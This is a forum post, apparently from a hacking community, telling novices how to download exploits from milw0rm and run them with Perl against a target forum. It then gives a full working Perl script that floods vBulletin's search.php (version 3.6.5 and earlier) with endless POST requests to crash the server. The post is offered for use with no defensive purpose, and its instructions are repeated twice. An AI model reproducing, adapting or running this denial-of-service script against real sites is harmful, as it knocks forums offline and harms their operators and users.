Posted this because of the vBulletin exploit thread.
Active Perl Download link: http://aspn.activestate.com/ASPN/Downloads/ActivePerl/
You need Active Perl, but here are the relevant steps.
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1. First get your exploit, milw0rm.com is a database of exploits.
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2.Now press CTRL+A to select all text then CTRL+C to copy it.
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3.Open notepad and press CTRL+V to paste the text, now in notepad go to File -> Save As... and save it with exploitname.pl in C:\Perl\ . Don't forget the .pl after the name!.
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(Your Perl must be installed in C:\)
4.Now open 'cmd' and type 'cd\' without the quotes,then 'cd perl' without the quotes then 'perl exploitname.pl' without the quotes again.
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5.Now some text will appear.
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6.Now enter this
-> perl exploitname.pl hostIP forumfolder userid somenumber
Then press enter
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vBulletin Exploit found by Hishan:
Active Perl Download link: http://aspn.activestate.com/ASPN/Downloads/ActivePerl/
You need Active Perl, but here are the relevant steps.
---------------------------------
1. First get your exploit, milw0rm.com is a database of exploits.
---------------------------------
2.Now press CTRL+A to select all text then CTRL+C to copy it.
---------------------------------
3.Open notepad and press CTRL+V to paste the text, now in notepad go to File -> Save As... and save it with exploitname.pl in C:\Perl\ . Don't forget the .pl after the name!.
---------------------------------
(Your Perl must be installed in C:\)
4.Now open 'cmd' and type 'cd\' without the quotes,then 'cd perl' without the quotes then 'perl exploitname.pl' without the quotes again.
---------------------------------
5.Now some text will appear.
---------------------------------
6.Now enter this
-> perl exploitname.pl hostIP forumfolder userid somenumber
Then press enter
---------------------------------
vBulletin Exploit found by Hishan:
Code
# VBulletin DoS Exploit
#
# The exploit was tested on 15 machines And 13 of them got Crashed. 98% Works;)
#
# important => Make sure that Image Verification in (search.php) is NOT Enabled.
# It works on 3.6.5 and prior [all] !
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)
{
$user="h4x0r".$rand.$i;
$data = "s=&do=process&query=$user&titleonly=0&starteronly =0&exactname=1&replyless=0&replylimit=3&searchdate =1&beforeafter=before&sortby=title&order=descendin g&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|";
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 \n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
exit();
};